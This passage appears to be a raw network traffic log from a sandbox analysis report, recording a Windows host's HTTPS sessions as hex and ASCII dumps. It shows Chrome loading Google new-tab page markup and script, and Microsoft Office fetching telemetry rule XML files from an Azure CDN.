class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-31 08:07:13 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-31 08:07:13 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-31 08:07:13 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-31 08:07:13 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-31 08:07:13 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 37 2c 33 37 30 30 39 34 32 2c 33 37 30 31 30 37 31 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700317,3700942,3701071,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dt
2024-10-31 08:07:13 UTC	1378	IN	Data Raw: 58 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c Data Ascii: Xd\u003dglobalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\
2024-10-31 08:07:13 UTC	63	IN	Data Raw: 64 5f 2e 6d 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 0d 0a Data Ascii: d_.me(a);return a};_.oe\u003dfunction(a,b\u003ddocument){let
2024-10-31 08:07:13 UTC	369	IN	Data Raw: 31 36 61 0d 0a 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 54 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c Data Ascii: 16ac,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u003dfunction(a){var b\u003d_.Ta(a);return b\u003d\
2024-10-31 08:07:13 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 41 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 64 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 63 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 72 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 53 28 61 Data Ascii: 8000,c){return _.Ab(a,b,c,!1)!\u003d\u003dvoid 0};_.re\u003dfunction(a,b){return _.de(_.Yc(a,b))};_.S\u003dfunction(a,b){return _.ce(_.Yc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.Bb(_.re(a,b),c)};_.se\u003dfunction(a,b,c\u003d0){return _.Bb(_.S(a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49735	142.250.184.228	443	3532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:13 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 08:07:13 UTC	957	IN	HTTP/1.1 200 OK Version: 690498177 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 08:07:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 08:07:13 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-31 08:07:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:13 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:13 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 9426c385-b01e-0053-505f-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080713Z-17c5cb586f67hfgj2durhqcxk8000000083g00000000a2um x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:13 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:13 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:13 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 360ad152-001e-0079-6bbd-2a12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080713Z-159b85dff8f2qnk7hC1DFWwb2400000001zg00000000212f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:13 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:13 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080713Z-16849878b782d4lwcu6h6gmxnw00000008ug00000000eq16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:13 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:13 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080713Z-16849878b78p8hrf1se7fucxk80000000a1g00000000e6yu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:13 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:13 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080713Z-16849878b786fl7gm2qg4r5y7000000009eg00000000d7yg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:14 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bf2855ec-b01e-0084-57b7-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080714Z-16849878b782d4lwcu6h6gmxnw00000008zg000000003g67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
